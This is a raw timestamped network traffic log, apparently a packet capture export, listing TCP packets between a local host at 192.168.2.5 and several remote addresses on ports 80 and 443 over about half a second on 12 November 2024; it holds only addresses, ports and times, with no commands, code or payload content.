Nov 12, 2024 04:16:31.624722958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624733925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624744892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624757051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624768972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.624768972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624811888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.624840975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.624852896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624866962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624876022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624886990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624895096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.624898911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624911070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624922037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.624927044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.624977112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.624999046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625003099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625019073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625050068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625073910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625140905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625152111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625161886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625173092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625184059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625195026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625196934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625205994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625212908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625219107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625230074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625243902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625243902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625266075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625272989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625302076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625452995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625468016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625479937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625489950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625500917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625503063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625511885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625524998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625534058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625534058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625554085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625586033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625612974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625652075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625771046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625782967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625794888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625806093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625816107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625819921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.625838995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.625865936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626106977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626118898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626131058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626152039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626176119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626246929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626257896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626267910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626279116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626290083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626302004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626302004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626324892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626341105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626398087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626409054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626420021 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626432896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626441002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626447916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626456022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626487970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626533031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626549006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626559019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626586914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626597881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626709938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626720905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626730919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626741886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626753092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626769066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626770973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626801014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626823902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626832962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626844883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.626905918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.626905918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.663593054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663674116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.663682938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663693905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663706064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663717985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663728952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663732052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.663788080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.663861990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663872957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663883924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663894892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663906097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.663908005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.663943052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.663952112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.664231062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.664278030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.664341927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.664351940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.664380074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.664391041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.664520979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.664558887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.666896105 CET	49838	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.666909933 CET	443	49838	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.670528889 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.670588970 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.670681953 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.671195030 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.671217918 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.671426058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.671644926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.675183058 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.675189972 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.676899910 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.676927090 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.677026033 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.677234888 CET	49852	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.677261114 CET	443	49852	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.677799940 CET	49853	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.677807093 CET	443	49853	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.740232944 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:31.740279913 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:31.740348101 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:31.741256952 CET	49854	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:31.741277933 CET	443	49854	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:31.741734028 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:31.741759062 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:31.741837025 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:31.742542028 CET	49855	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:31.742557049 CET	443	49855	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:31.742858887 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:31.742866993 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:31.743031025 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:31.743513107 CET	49856	443	192.168.2.5	23.198.7.181
Nov 12, 2024 04:16:31.743525028 CET	443	49856	23.198.7.181	192.168.2.5
Nov 12, 2024 04:16:31.744074106 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:31.744098902 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:31.744275093 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:31.744512081 CET	49857	443	192.168.2.5	204.79.197.219
Nov 12, 2024 04:16:31.744524956 CET	443	49857	204.79.197.219	192.168.2.5
Nov 12, 2024 04:16:31.775019884 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.776009083 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.776037931 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.776391029 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.777381897 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.777451992 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.777569056 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.777839899 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.778469086 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.778480053 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.778829098 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.778897047 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.779511929 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.779566050 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.779701948 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.779761076 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.779866934 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.779875040 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.779898882 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.796586037 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.796900034 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.796916962 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.798043013 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.798122883 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.799447060 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.799495935 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.799782991 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.799788952 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.805742025 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.805799961 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.805954933 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.808815002 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.808832884 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.808845997 CET	49842	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.808851957 CET	443	49842	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.816818953 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.816844940 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.823343992 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:31.844712019 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.844784975 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.844866037 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.845850945 CET	49860	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:31.845904112 CET	443	49860	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:31.847229004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.849129915 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.850228071 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.850235939 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.851088047 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.851176977 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.851618052 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.851665974 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.851768970 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.852302074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.853245974 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.853499889 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.853514910 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.854571104 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.854657888 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.855072021 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.855129004 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.855331898 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.855340004 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.863622904 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.863888979 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.863903999 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.864927053 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.865001917 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.865546942 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.865606070 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.865799904 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.865806103 CET	443	49848	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.877410889 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:31.877434015 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:31.878180027 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:31.879231930 CET	49861	443	192.168.2.5	23.198.7.174
Nov 12, 2024 04:16:31.879242897 CET	443	49861	23.198.7.174	192.168.2.5
Nov 12, 2024 04:16:31.899322033 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.903175116 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.903194904 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.903248072 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.903258085 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.903295040 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.907124043 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.913557053 CET	49843	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.913589001 CET	443	49843	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.913983107 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.914010048 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.914402962 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.915144920 CET	49862	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.915158987 CET	443	49862	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.922404051 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:31.922420979 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.922420979 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.922431946 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.922455072 CET	49848	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.931376934 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.931396008 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.931444883 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.931452990 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.931503057 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.932672024 CET	49844	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.932679892 CET	443	49844	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.933263063 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.933279991 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.933547974 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.933868885 CET	49863	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.933877945 CET	443	49863	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.981393099 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.981412888 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.981462955 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.981492996 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.981522083 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.982551098 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.982569933 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.992141962 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.992218018 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.992225885 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.992300034 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.992384911 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.993458033 CET	49846	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.993463993 CET	443	49846	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.996964931 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.996984005 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.997080088 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.997108936 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.997159958 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:31.997243881 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.998078108 CET	49847	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:31.998095989 CET	443	49847	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:32.054647923 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054671049 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054677963 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054708958 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054722071 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054728031 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.054729939 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054754019 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.054757118 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054775000 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.054784060 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.054795980 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.064116001 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.064125061 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.064148903 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.064156055 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.064196110 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.064205885 CET	443	49845	104.40.82.182	192.168.2.5
Nov 12, 2024 04:16:32.064239979 CET	49845	443	192.168.2.5	104.40.82.182
Nov 12, 2024 04:16:32.132734060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132751942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132762909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132772923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132783890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132795095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132805109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132806063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.132862091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.132936954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132949114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132958889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132970095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132981062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.132981062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.132992029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133003950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133006096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133021116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133030891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133033037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133039951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133044958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133057117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133065939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:32.133065939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133080959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:32.133091927 CET	80	49750	185.215.113.206	192.168.2.5
